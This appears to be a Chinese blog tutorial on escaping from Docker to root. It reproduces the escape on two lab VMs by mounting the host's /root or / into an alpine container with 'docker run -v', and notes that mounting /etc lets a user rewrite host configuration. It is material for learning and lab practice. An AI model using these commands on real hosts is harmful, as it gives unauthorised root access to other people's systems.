linux~Docker容器提权

时间:2024-05-22 17:34:09

Docker容器的特点:

1.轻量级
在机器上运行的Docker容器共享该机器的操作系统内核; 他们使用更少的计算和内存。图像由文件系统层构建并共享公用文件。最大限度地减少了磁盘使用量。

2.标准
Docker容器基于开放标准,可在Linux发行版,Microsoft Windows以及任何基础架构(包括虚拟机,裸机)上运行。

3.安全
Docker容器将应用程序彼此隔离并从底层基础架构中分离出来。提供了最强大的默认隔离功能,可以将应用程序问题限制在一个容器中,而不是整个机器上。



关于docker提权(逃逸提权):

默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;

用户在创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。

正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作。



普通用户如果要想使用 docker,而且不想给 sudo 权限,那么一般会选择把该用户加入 docker 用户组内,同时在 docker 容器内是具有 root 权限的,这样保证了用户对容器的完全控制;



docker 用户组权限:

sudo groupadd docker
#添加docker用户组

sudo gpasswd -a $USER docker
#将当前用户添加至docker用户组

newgrp docker


docker逃逸提权(复现流程):

1.首先使用命令:docker images
用于查看本地已下载的镜像

REPOSITORY # 镜像仓库
TAG # 镜像标签
IMAGE ID # 镜像ID
CREATED # 镜像创建时间
SIZE # 镜像大小

2.如果不存在,
就可以先下载个镜像,然后把root文件夹挂载到上面!!!

使用命令:dockeer run alpine chroot 来下载镜像文件;
不存在docker镜像情况下使用

3.将root文件夹挂载在上面

docker run -it -v /root:/mnt alpine
将文件夹挂载到mnt文件夹

4.可以看到我们已经拥有了root权限

Docker挂载命令逃逸:

-v /root(需要挂载得目录):/abc(新建挂载目录)
参数 -v 将容器外部的目录 / 挂载到容器内部

因为docker环境运行得时候是需要root权限的,所以可以实现提权的目的;



靶机复现验证:

1. HA: Chakravyuh靶机

docker提权:
(-v 可以映射到容器外的host文件的参数)

命令:
docker run -v /root:/mnt -it 965ea09ff2eb /bin/sh
含义:docker运行一个交互式的Linux系统,挂载系统的/root 目录到/mnt目录下,这样就可以获取到root目录下的文件内容了

linux~Docker容器提权成功得到root权限,实验成功 !!!

linux~Docker容器提权


2. CyberSploit: 2靶机
靶机渗透测试wp

我们需要联网拉取镜像

命令: docker pull alpine
alpine是迷你的linux系统
命令: docker images
用于查看本地已下载的镜像
命令: docker run -v /:/mnt -it alpine
执行镜像文件

linux~Docker容器提权
linux~Docker容器提权

提权成功!!!
linux~Docker容器提权

linux~Docker容器提权


在docker中使用alpine

  1. 拉取启动
    docker pull alpine
    docker run -it --name 【containername】 【imagename】
    -i 以交互模式运行容器,通常与 -t 同时使用;
    -t 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
    -d 后台运行容器,并返回容器ID;
  2. 文件传输
    从主机复制到容器sudo docker cp host_path containerID:container_path
    从容器复制到主机sudo docker cp containerID:container_path host_path


总结:

docker 允许挂载主机的目录,那么挂载 /etc 文件之后就可以任意修改主机配置了;

也就是说,原本应该与主机完全隔离的用户系统,通过挂载,容器直接使用了主机的用户系统;在容器内对用户权限的修改,都等同于在主机上进行修改!!!